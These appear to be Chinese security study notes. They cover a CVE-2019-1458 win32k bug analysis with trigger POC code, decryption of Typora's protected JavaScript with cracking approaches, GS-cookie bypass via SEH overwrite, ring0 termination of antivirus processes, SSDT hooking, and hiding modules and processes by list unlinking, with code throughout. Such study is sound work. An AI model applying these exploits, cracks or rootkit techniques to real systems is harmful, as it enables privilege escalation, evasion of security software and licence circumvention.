/*0x120*/ INT32 bRedirectedForPrint : 1; // 2 BitPosition
/*0x120*/ INT32 bLinked : 1; // 3 BitPosition
/*0x120*/ INT32 bLayeredForDWM : 1; // 4 BitPosition
/*0x120*/ INT32 bLayeredLimbo : 1; // 5 BitPosition
/*0x120*/ INT32 bHIGHDPI_UNAWARE_Unused : 1; // 6 BitPosition
/*0x120*/ INT32 bVerticallyMaximizedLeft : 1; // 7 BitPosition
/*0x120*/ INT32 bVerticallyMaximizedRight : 1; // 8 BitPosition
/*0x120*/ INT32 bHasOverlay : 1; // 9 BitPosition
/*0x120*/ INT32 bConsoleWindow : 1; // 10 BitPosition
/*0x120*/ INT32 bChildNoActivate : 1; // 11 BitPosition
};
};
}tagWND, *PtagWND;

image-20220801185405188

验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:

image-20220801190312808

对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,增减的数值由GetDPIMetrics函数的返回值决定,这些操作是会扩大这些与rdi偏移的地址中保存的内容

image-20220801191229317

总结,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra

一步步交叉引用可以看到调用链为xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow,第一个函数在InitFunctionTables表中,要想调用xxxWrapSwitchWndProc函数,我们需要调用NtUserMessageCall,下面是它的函数申明

1
NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType)

首先该函数在msg < 0x400的时候,就会调用gapfnMessageCall数组中保存的函数地址:

image-20220801194743717

image-20220801195018377

gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:

image-20220801195122821

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:

image-20220801195347598

gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样(8 * 6) & 0x1F+ 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc

image-20220801201534046

根据前面的分析xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数,函数分为下面两个部分,首先第一个部分是判断tagWND->fnid值,对于新创建的窗口,该值为0。

在第一个if语句中,tagWND+0xE8tagWND->cbwndExtra,因为tagWND->fnid已经是0了,并且因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。*(gpsi+0x154)值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130。那么,这里就是在判断gpsi+0x154保存的内容大于等于至少0x130,所以这个条件不会成立。

第二个if中,在传递的参数msg为WM_CREATE的时候,函数就不会返回:

1
#define WM_CREATE                       0x0001

第三个if中,(tagWND+0x128会紧接在tagWND结构之后,也就是后面我们要控制的ExtraBytes)只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。

如果这三处都不成立,就会将tagWND->fnid设置为0x2A0

image-20220801203438234

第二部分就是switch部分,msg为0x3A或者0x14的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow

注意函数逻辑,我们需要两次进入这个函数才能出发漏洞,第一次进入msg为1,最后将tagWND->fnid设置为0x2A0,第二次调用的时候就可以将msg指定为0x3A或者0x14,进而调用漏洞函数xxxPaintSwitchWindow,下面是这个函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall xxxPaintSwitchWindow(tagWND *pwndSwitch)
{
...
if ( (pwndSwitch->style & 0x10000000) != 0 )//bVisible被置位
{
if ( (pwndSwitch->fnid & 0x3FFF) == 0x2A0
/*7*/ && pwndSwitch->cbwndExtra + 0x128i64 == *(unsigned __int16 *)(gpsi + 0x154) )
{
if ( *((char *)&pwndSwitch->1 + 3) < 0 )
return;
ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes;//控制这个值
}
if ( ExtraBytes )
{
hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0i64, 0x10000i64);
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
goto LABEL_11;
/*18*/LOBYTE(v3) = 0x12;
if ( (GetKeyState(v3) & 0x8000u) == 0i64 )//判断Alt键状态
goto LABEL_25;
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
{
LABEL_11:
if ( GetAsyncKeyState(0x12u) >= 0 )//判断Alt键状态
goto LABEL_25;
}
GetClientRect(pwndSwitch, (char *)ExtraBytes + 92);
FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C, *(_QWORD *)(gpsi + 3024));
v5 = -*((_DWORD *)GetDPIMetrics() + 0x13);
v6 = *((_DWORD *)GetDPIMetrics() + 0x12);
*((_DWORD *)ExtraBytes + 0x18) -= v5;
*((_DWORD *)ExtraBytes + 0x1A) += v5;
v6 *= -2;
*((_DWORD *)ExtraBytes + 0x17) -= v6;
*((_DWORD *)ExtraBytes + 0x19) += v6;
...
}
...
}
...
}

因为IDA上都是偏移不是很明确,所以这里借鉴了这位博主的博客,其中pwndSwitch表示的是被切换窗口的内核对象,满足4个条件:

  • 被切换的窗口可视 @line:4
  • 被切换窗口的fnid&0x3FFF==0x2A0
  • 被切换的窗口的额外数据大小加上0x128的值与gpsi+0x154指向的内存值相等 @line:7
  • Alt键按下

关于第三点,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"(0x8003)窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。最后五行就是漏洞关键点,获取的ExtraBytes的值会被当成一个指针去修改一块内存的值,我们可以控制这个变量的值,进而实现任意内存破坏。

总结

所以漏洞触发步骤如下:

创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。

调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0

将扩展区域最开始八字节保存的地址设置为一个不合法的地址。

创建类名为”32771”的窗口,将[gpsi + 0x154]设置为0x130

调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数。

漏洞验证POC

我们需要获得NtUserMessageCall函数的系统调用号,windbg调试的时候先.reload,详细可以看这篇博客

源文件一共两个,一个cpp一个asm.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<Windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

void main()
{

MessageBoxA(NULL, "text:", "start", NULL);

HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, 0x4141414141414);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT

PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, 1007h ; Win7 sp1
syscall
ret
NtUserMessageCall ENDP
_TEXT ENDS
END

将项目配置属性为DEDUG,并且设置**项目属性-配置属性-C/C+±代码生成-运行库-多线程调试(/MTd)**。先运行程序,然后在windbg打开源文件,然后输入!process 0 0命令

image-20220803102213759

然后输入.process /i /r /p 进程内核对象地址,WinDBG显示继续执行需要输入g,输入g,回车

image-20220803104226511

输入.reload /f /user重载用户层模块符号,在关键的地方下断点。

image-20220803161726850

xxx函数运行该条指令后,tagWND->fnid已经修改为0x2a0

image-20220803162348396

image-20220803162440758

第二次调用NtUserMessageCall的时候。经过前面的分析会进行一些if判断。下图中就是前面代码第7行的判断。

image-20220803164631884

image-20220803170041610

总结

该漏洞主要是未正确初始化*(gpsi+0x154)变量。

gpsi是一个全局指针指向tagSERVERINFO结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等)。这些窗口通过FNID值进行识别,例如 0x2A0 代表着切换窗口。并且这允许用户空间应用程序在任务切换窗口中设置额外的窗口数据

当使用RegisterClassEx注册窗口时,我们有机会在WNDCLASSEX上指定cbWndExtra 字段,该字段描述了除tagWND结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr函数修改这些额外的字节。这个额外的字节是一个指针,所以可以解引用来实现任意地址写。

参考链接:CVE-2019-1458提权漏洞学习笔记

https://github.com/piotrflorczyk/cve-2019-1458_POC

CVE-2019-1458 分析

文件格式分析

Typora采用的是electron框架构建跨平台桌面应用。从实现方式上来说,其本质还是基于chrome内核的html、js、css构成的应用。

electron打包的项目,最常见的就是 asar 格式的私有编码文件,里面包含文件名、大小、内容偏移量等数据,按文件头部的 json内容 解析即可提取出所有文件。

image-20220720142337810

image-20220720143042743

工具查看

image-20220720143450494

在github上有一个项目讲到关于electron(该方案可以把启动文件编译为node二进制文件,作为启动入口,来保护薄弱的js代码。在项目启动时,将加密后的代码进行解密,交回electron流程进行执行,从而避免上面说的直接解包拿到源代码的可能。

image-20220720145218070

image-20220720160414013

main属性就是 electron 项目启动的主入口。 把 main.node 拖到ida中, 分析执行流程。

IDA分析主入口

啊这拖进去就是个dll啊

image-20220721142800220

根据前面分析的,main.node(.node 文件是 c/c++ 写的扩展文件)是负责解密的,先直接用插件看一下用了什么加密方法

image-20220720164134883

采用的是AES对称加密算法,解密采用的是第三个常量数组。交叉引用看一下

image-20220721142839196

注意到这里,推测这里就是先加载app.asar的内容,然后调用sub_180003E40进行解密

image-20220721143250799

主要看一下sub_180003E40函数,查阅一下资料可知,napi_create_string_utf8函数目的是生成一个base64编码的字符串,结果存储在最后一个参数。napi_get_named_property函数是从第二个参数中检索第三个参数的属性名称,获得的该属性的值存放在第四个参数。

image-20220721144404863

主要看下面这部分AES解密,要么找到解密后的缓冲区,要么找到密钥,然后判断教秘方式进行解密。第一种方式要简单一点(因为加密算法不太会)。

分析流程获取解密后的缓冲区

napi_call_function函数第三个参数就是要调用的函数,第五个参数是参数数组。

image-20220721153437504

image-20220721145500979

动态调试一下,下一个dll断点(note:注意选择调试-高级-隐藏PEB以及忽略所有异常,因为有反调试)

image-20220721150921124

image-20220721145735259

image-20220721150804855

再通过IDA查看函数偏移

image-20220721150231522

定位函数位置

image-20220721151136852

我们知道64位程序调用约定是 rcx rdx r8 r9,超过四个通过栈传递,前面分析v27 = *(a3 + 8),a3也就是r8存储的内容

image-20220721152336879

选择在转储中跟随右下角圈出来的地方,可以看到buffer.from的两个参数。最后没懂这里的操作,查看博客发现这个参数没有发生改变,后续也没有调用相关数据结构,继续往下看AES解密部分,解密首先肯定得获得密文缓冲区。

可以看到申请了32个字节的内存给v32,然后sub_18000B060对v32和v46今次了操作,v32应该是目标地址,第三个参数是大小,v46就是源地址了。这个函数进去发现是一大堆运算,估计是对v46的一些解密或者hash之类的操作。

image-20220721154913867

可以看到sub_180007000函数对上一步通过v46得到的v32数据与v10数据进行操作,然后放到v45数组中(感觉应该是密钥,这么复杂应该是为了保护密钥吧),在这个函数中调用了sub_180007800,这个函数对自己的PE文件进行了一些操作,感觉不是很重要,往下看看。

image-20220721155431157

image-20220721155356220

接下来分析一下sub_180005c00函数,前面分析的密文地址应该就是在v27中,这个函数主要看它的返回值有什么用。

下面这段汇编的意思是,返回值存储在rax中,将*(rax+8)的内容给r14,然后减去*rax,得到一个size。或许说这两个值是密文开始与结束地址?

image-20220721161853372

可以看到用前面得到的size申请了一块Block,函数sub_18000B060对*v12进行操作,存储在Block中。v12就是前面说的rax。所以分析到这里知道了,v12为密文开始地址,v13为密文大小。

image-20220721162241819

v13 + 1 的大小 申请了一块内存 v14 , sub_18000B060 对 Block 再次进行操作, 结果放到v14,v14的最后一个字节置为0 ,推测已经把密文转换为字符串了 , 需要一个 NULL 结尾。v15 = v14[v13-1] , 也就是从v14中取了一个字节的值 ,位置在null字符的前一字节。

image-20220721163753782

关注一下上面的sub_180006AC0函数,这个函数是我们从解密数组一步步交叉引用找到的函数,v45是sub_180007000函数对上一步通过v46得到的v32数据与v10数据进行操作得到的。(下面是这位大佬分析的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
_int64 __fastcall sub_180006AC0(v45,block,block_size)
{

if ( block_size )
{
v3 = block;
v5 = v45 + 0xF0 - (_QWORD)block; //v45+0xF0的地址 减去 block的地址得到v5
v6 = ((block_size - 1) >> 4) + 1; //做为外圈循环的次数
do
{
v7 = *v3;
//v7为 xmmword 16字节浮点寄存器 ,把block的内容取16字节给v7 16字节符合AES块大小
//由此推测block是真正的密文,将在这个函数中进行解密操作

sub_180007320(v3, v45); //用到了AES解密常量 应该是解密相关 并且对推测的key 也就是前32字节有一些操作
v8 = 16i64; //内圈循环16次
do
{
result = *((char*)(v3 + v5)); //block地址 + v5偏移 取一个字节内容
*(char*)v3 ^= result; //取block的1字节数据,与block地址 + v5偏移 进行异或
v3 = (__int128 *)((char *)v3 + 1); //block += 1
--v8; //总共16次 也就是16个字节异或
}
while ( v8 );
v5 -= 16i64; //外圈循环 v5 每次-16 也就是每次异或 异或的值都会变化 范围为-16字节
v45 + 0xF0 = v7; //block的16字节内容 给到v45+0xF0
--v6; //外圈循环次数
}
while ( v6 );
}
return result;
}

得到解密后数据

来到调用解密函数的函数,只需要在彻底解密后,送到JS引擎执行的时候,拿到解密的JS代码即可。解密后返回了一个值,这个值作为了调用JS函数的参数

image-20220721165140509

在x64dbg中调试,查看第五个参数也就是rsp+20的位置。

image-20220721165400986

一步步在转储中跟随,最后得到了解密后unicode形式的JS代码

image-20220721165843391

破解思路

main.node模块是运行起来后加载的模块。其实要破解的思路就是修改JS代码,修改判断逻辑。下面介绍的几种方法都是为了修改JS代码服务的。

1.调试器加载:在模块加载通知中断下,定位到解密函数下断,修改内存中的JS代码

2.导出表hook:参考进程替换(傀儡进程)技术,创建进程后挂起,由于main.node中的node api是使用框架中的导出api,所以可以替换导出函数为自己的函数,在调用时进行参数判断,如果为JS代码,则修改。

3.Dll劫持:替换main.node,由自己加载真正的main.node并调用,调用时,定位到解密函数并hook,等待JS代码并修改。

4.PE代码注入: 修改框架的PE文件,并加载自己的DLL,加载后进行导出表hook。

总结

总结一下分析思路:框架会加载解密模块main.node,解密模块对app.asar进行解密,然后将解密的代码送入JS引擎执行。

GS原理

GS功能是Windows 针对栈溢出而产生得防御技术。其主要原理是在调用函数初始化一个栈帧之后将一个随机数放入栈当中,并且在“.data“节区保存一个副本。每次在执行返回地址得指令之前都需要验证一下随机值。如果发生变化,则认为产生溢出。

向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA分析中为 Security Cookie。Security Cookie 位于 EBP 之前,系统还将在.data的内存区域中存放一个 Security Cookie的副本(如下图,图片来自该博客

image-20220719160609079

Security Cookie的生成

  • 系统以data节的第一个 DWORD值作为Cookie种子,或称为原始Cookie(所有函数的Cookie都用它生成)
  • 程序每次运行,种子都不同,具有很强的随机性
  • 在栈帧初始化以后,用ebp xor 种子 ,作为当前函数的Cookie,以此作为不同函数的区别,并增加随机性
  • 函数返回前,用ebp 还原出 Cookie 种子 ,进行比较

注意事项:
因为额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最
小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS。

  • 函数不包含缓冲区。 (就不会有栈溢出)
  • 函数被定义为具有变量参数列表。
  • 函数使用无保护的关键字标记。
  • 函数在第一个语句中包含内嵌汇编代码。
  • 缓冲区不是 8 字节类型且大小不大于 4 个字节。

IDA逆向分析GS

image-20220719161335393

生成exe后分析,可以看到,把安全cookie给rax, 与 rsp异或后, 放入栈中rsp+0x90的位置 ,然后再去函数末尾看一下

image-20220719162615666

可以看到,在printf调用后, 把栈中的 cookie拿出来给rcx , rcx与rsp异或后, 调用了一个检查函数

image-20220719163211608

先把结果与.data节中的原始 cookie进行比较 ,其中主要处理函数是sub_1400013cc

image-20220719163603028

调用系统自己的异常处理函数,并传入之前的ExceptionInfo,之后获取当前进程后强制结束

image-20220719164427150

绕过GS

可以有以下几种方式,这里试着实践一下2,3两点

  • 利用未被保护的内存突破GS
  • 覆盖虚函数突破GS
  • 攻击SEH突破GS
  • 同时替换栈中和.data中的Cookie突破GS(硬刚覆盖返回地址)

攻击SEH

复习一下SEH的知识

image-20220719180756855

image-20220719180832894

SEH的链表结构如上所示, Next代表下一个SEH结构 ,Handler 代表本函数内的异常处理例程

SEH是以函数为单位,也就是一个函数只能有一个SEH结构,如果本函数内的异常处理例程没有处理这个异常,则去寻找Next记录的下一个SEH结构,如果最后都没有处理,就交给系统的默认异常处理

系统的默认异常处理, Next 为FFFFFFFF , Handler 为系统默认处理例程,也就是会给你弹一个框,并结束进程

SEH会在函数入口注册,函数出口注销,会出现有关fs:[0]的操作 , 简单点说就是把上述的SEH记录指向自己在栈中的SEH结构,然后自己再指向原来的SEH结构

1.写一个测试函数: test是一个溢出函数且注册了SEH , 把buf1 的 500字节的数据 放入 test函数中的200字节大小的缓冲区中, 此时会造成溢出,溢出后会覆盖到 out 的地址(参数地址 ebp + n),然后再次拷贝buf到out 的过程中 , 会触发非法访问,转入异常处理流程,但是此时函数并没有执行到返回,也就是没有执行到 check cookie函数, 所以可以覆盖SEH来实现绕过 GS(因此我们可以通过**(pop pop ret)**覆盖SEH来达到溢出的目的。但对于受SafeSEH保护的模块,就可能会导致exploit失效)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <Windows.h>

void __stdcall test(char* str, char* out)
{
char buf[200] = { 0 };

__try
{
strcpy(buf, str);
strcpy(out, buf);
}
__except (1)
{
printf("Error OverFlow\n");
}
}


int main(int arc, char** argv)
{
char buf1[500];
memset(buf1, 0x90, 1000);

char buf2[100] = { 0 };
test(buf1, buf2);

return 0;
}

攻击虚函数

堆栈布局:【局部变量】【cookie】【入栈寄存器】【返回地址】【参数】【虚表指针】
当把虚表指针覆盖后,由于要执行虚函数得通过虚表指针来搜索,即可借此劫持EIP

参考链接:EXP编写学习 之 绕过GS(四)

进程强杀

因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用ring0的函数来强行结束一些处于ring0级别的进程。

ZwTerminateProcess

该函数是一个Ring0函数,结构参数如下:

1
2
3
4
NTSYSAPI NTSTATUS ZwTerminateProcess(
[in, optional] HANDLE ProcessHandle,
[in] NTSTATUS ExitStatus
);

但是这个函数在RIng0层面下,已经被杀软hook掉了,所以如果调用这个函数Kill杀软会被拒绝。

PspTerminateProcess

image-20220711173115524

这个函数是没有被导出的,要调用该函数有两种方法

  1. 暴力搜索,提取该函数的特征码,全盘搜索。
  2. 如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。

我们的驱动在被系统加载的同时,内存中会出现一个描述我们驱动信息的对象:DRIVER OBJECT,而这个对象的地址,其实就保存在我们驱动的入口函数 Driver Entry 的第1个参数中。

DriverObject 对象中,有一个 Driver Section 成员,它所指向的是一个名叫 _LDR_DATA_TABLE_ENTRY 的结构体,该结构体每个驱动模块都有一份,在这个结构体中就保存着一个驱动模块的所有信息。

系统中有一个双向链表,其中每一个节点都保存着一个驱动模块的所有信息,而 InLoadOrderLinks 就是该链表中的节点类型,Flink 指向下一个驱动对象的 _LDR_DATA_TABLE_ENTRYBlink 指向上一个驱动对象的 _LDR_DATA_TABLE_ENTRY

因此,我们只要遍历这个 InLoadOrderLinks ,就能获取系统中所有驱动的模块信息。

接下来就是特征码的搜索匹配,在上图中可以看到,前一部分压栈操作不能作为特征码,所以可以选取中间部分,知道后再减去相应偏移。

遍历代码如下:

image-20220712103431244

结束进程代码:

image-20220712103453477

特征码查找:

image-20220712103646640

上图中最后减去5是特征匹配字段与函数开头的距离(示例代码是在x86位下)

1.将程序编译成sys文件后安装驱动,即可关闭进程;

2.可以利用ring3常规方式传输数据到ring0的方式结束进程(其实就是多写一个客户端程序与驱动通信)

image-20220712114148635

请注意第一个红框,这是老写法,查阅资料如下

image-20220712114301237

总结

总结一下,这篇进程强杀,主要用到了PspTerminateProcess函数,该函数并未导出,采取的是DRIVER_OBJECTDriver Section成员,它所指向的是一个名叫 _LDR_DATA_TABLE_ENTRY 的结构体,该结构体大家都比较熟悉,通过遍历其中的 InLoadOrderLinks 加上匹配特征码的方式就能得到函数地址。

Ring0下的进程保护

SSDT表

主要用到SSDT HOOK,SSDT表并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。

因为x64位中ssdt表是加密的,ssdt中的每一项占4个字节但并不是对应的系统服务的地址,因为x64中地址为64位,而ssdt每一项只有4个字节所以无法直接存放服务的地址。其实际存储的4个字节的前28位表示的是对应的系统服务相对于SSDT表基地址的偏移,而后4位如果对应的服务的参数个数小于4则其值为0,不小于4则为参数个数减去4。

所以我们在ssdt hook时向ssdt表项中填入的函数得在ntoskrnl.exe模块中,原因是因为函数到SSDT表基地址的偏移大小小于4个字节。所以我们需要选取一个ntoskrnl.exe中很少使用的函数KeBugCheckEx作为中转函数,将需要hook的ssdt项的改为KeBugCheckEx函数,然后在Inlinehook KeBugCheck函数,jmp到我们的函数中进行过滤。

KeServiceDescriptorTableKeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层 Kernel32.dll 中的系统调用,而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dllGDI32.dll 中的系统调用,并且KeServiceDescriptorTablentoskrnl.exe(Windows 操作系统内核文件,包括内核和执行体层)是导出的,而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出。

通过SSDT表中OpenProcess函数的索引(系统调用号)来找到该函数。或者利用Terminateprocess函数也是可以的。

image-20220712162202878

CR0寄存器

修改内存页属性,SSDT表所在的内存页属性是只读,没有写入的权限,所以需要把该地址设置为可写入,这样才能写入自己的函数,使用的是CR0寄存器关闭只读属性。

获取SSDT表基址

在x86下,可以通过代码的方式直接读取 KeServiceDescriptorTable 这个被导出的表结构从而可以直接读取到SSDT表的基址,而在Win64系统中 KeServiceDescriptorTable 这个表并没有被导出,所以我们必须手动搜索到它的地址。

1.这里我们可以通过MSR(特别模块寄存器),读取C0000082寄存器,从而得到KiSystemCall64的地址,在内核调试模式下直接输入 rdmsr c0000082 即可读取到该地址,反汇编可看到 nt!KiSystemCall64Shadow 函数。(Win10中如果开启了KVA Shadow那么这个地址是nt!KiSystemCall64Shadow,否则是nt!KiSystemCall64。

image-20220712161035727

KiSystemCall64Shadow函数的最后,有一个jmp指令,会跳转到nt!KiSystemServiceUser函数。

image-20220712161456407

继续跟进KiSystemServiceUser函数,可以看到对nt!KeServiceDescriptorTable的读取。KeServiceDescriptorTable就是SSDT表。

image-20220712161541476

总结一下,获取SSDT基址流程:

MSR寄存器(0xC0000082)-> nt!KiSystemCall64Shadow ->nt!KiSystemServiceUser -> nt!KeServiceDescriptorTable。具体查找也是通过字节码匹配。

具体实现

下面是InlineHook KeBugCheckEx()的部分

image-20220712163341384

关键匹配部分

image-20220712164037294

获取函数部分

image-20220712164429035

总结

这篇主题是进程保护,实际上主要知识点是关于SSDT_HOOK,需要注意的是x86和x64下操作方式不同,现在网上很多的x64下的也是基于win7的,并且x64下需要绕过PG。

参考链接:x64下的进程保护x64下的SSDTHOOK

Ring3下API的逆向分析及重构

首先分析ReadProcessMemory函数整个调用过程,我们知道函数虽然是Kernel32.dll中的函数,但是只不过是封装好的函数,最终调用还是会到ntdll.dll中去。

我们先随便写个程序,然后生成64位exe动态分析。

image-20220712192755554

ReadProcessMemory实际上会调用红框中的函数

image-20220712192744224

NtReadVirtualMemory函数如下图,test执行与操作,结果为0,ZF被置位,所以不执行下面的跳转(注意与cmp指令的差别

image-20220712193240271

image-20220712193728459

这个地方首先是将内核函数的编号给了eax,然后test命令比较判断是采取中断的方式还是syscall的方式进入0环(以前x86的方式是调用KiFastSystemCall函数,也就是0x7ffe0300这个地址,该函数决定了采取哪种方式进入0环)。

image-20220712194929243

_KUSER_SHARED_DATA

前面说到了0x7ffe0308这个地址,如下图,其实就是shareddata+0x308

image-20220712195644152

image-20220712195706609

在 User 层和 Kernel 层分别定义了一个 _KUSER_SHARED_DATA结构区域,用于 User 层和 Kernel 层共享某些数据,它们使用固定的地址值映射,_KUSER_SHARED_DATA 结构区域在 User 和 Kernel 层地址分别为:

User 层地址为:0x7ffe0000

Kernel 层地址为:0xffdf0000

虽然指向的是同一个物理页,但在ring3层是只读的,在ring0层是可写的,在0x308偏移处SystemCall存放的地址就是真正进入ring0的实现方法。

总结

这篇API逆向,主要涉及到了3环进入0环的详细结构,关于重构其实网上示例代码是有关call KiFastSystemCall的,但是x64并没有调用这个函数,而是直接进行了判断然后选取以哪种方式进入0环。

基于PEB断链实现隐藏

模块隐藏

前面提到的关于DRIVER_OBJECT结构中的Driver Section成员,实际上是一个结构体

image-20220714113338981

偏移处有一个DllBase,这里存放的就是dll的地址,所以这里我们如果要想隐藏某个指定的dll,就可以通过DllBase的方式,通过GetModuleHandleA获取dll的句柄,来进行比对。

前面三个双向链表结构都是一样的,我们以InloadOrderModuleList来进行断链示范(其他两个一样的操作),要实现断链,最简单的做法就是让Head的Flink和Blink指向它自己。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PPEB_LDR_DATA ldr;  
PLDR_DATA_TABLE_ENTRY ldte;
PLIST_ENTRY Head, Cur;
Head = &(ldr->InLoadOrderModuleList);
Cur = Head->Flink;

do
{

ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
if (ldte->BaseAddress == hModule)
{

ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while(Head != Cur);

进程隐藏

在windows系统中,所有的活动进程都是连在一起的,构成一个双链表,表头是全局变量PsActiveProcessHead,当一个进程被创建时,其ActiveProcessList域将被作为节点加入到此链表中;当进程被删除时,则从此链表中移除,如果windows需要枚举所有的进程,直接操纵此链表即可。

image-20220714150402209

前八个字节指向的是下一个EPROCESS的偏移0x448处

image-20220714151607623

如下图,可以看到进程名为system

image-20220714151816955

image-20220714151851947

我们继续看下一个,可以看到进程名Registry

image-20220714152047989

image-20220714152033134

实现

在驱动中通过 PsGetCurrentProcess(),来获取当前进程的EPROCESS结构体,然后通过链表遍历其余的EPROCESS,可以通过比较ImageFileName字段来筛选自己想要隐藏的进程。然后对其进行断链操作。

1
2
3
4
5
6
7
curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x448);
nextNode = curNode->Flink;
preNode = curNode->Blink;

preNode->Flink = curNode->Flink;

nextNode->Blink = curNode->Blink;

总结

这样的隐藏技术主要是基于关键结构体的成员,来进行摸链操作,可以详细复习一下EPROCESS、ETHREAD等关键数据结构

全局句柄表发现隐藏进程

前面说了0环进行PEB断链可以达到隐藏进程的效果,但是这只是作为权限维持的一种方法。所以这篇讲了基于全局句柄表PsdCidTable,来找到隐藏进程的效果。

在EPROCESS中有一个成员ObjectTable

image-20220714163125878

TableCode就是句柄表地址

image-20220714163148316

句柄表结构如下,句柄表以分级的方式存储,最多三级

image-20220714173229625

句柄共八个字节,64位

  • (bit48~bit63)这一块共计两个字节,16位;高位字节是给SetHandleInformation这个函数用的,例如当执行如下语句:
1
SetHandleInformation(Handle,HANDLE_FLAG_PROTECT_FROM_CLOSE,HANDLE_FLAG_PROTECT_FROM_CLOSE);

这个位置将会被写入0x02

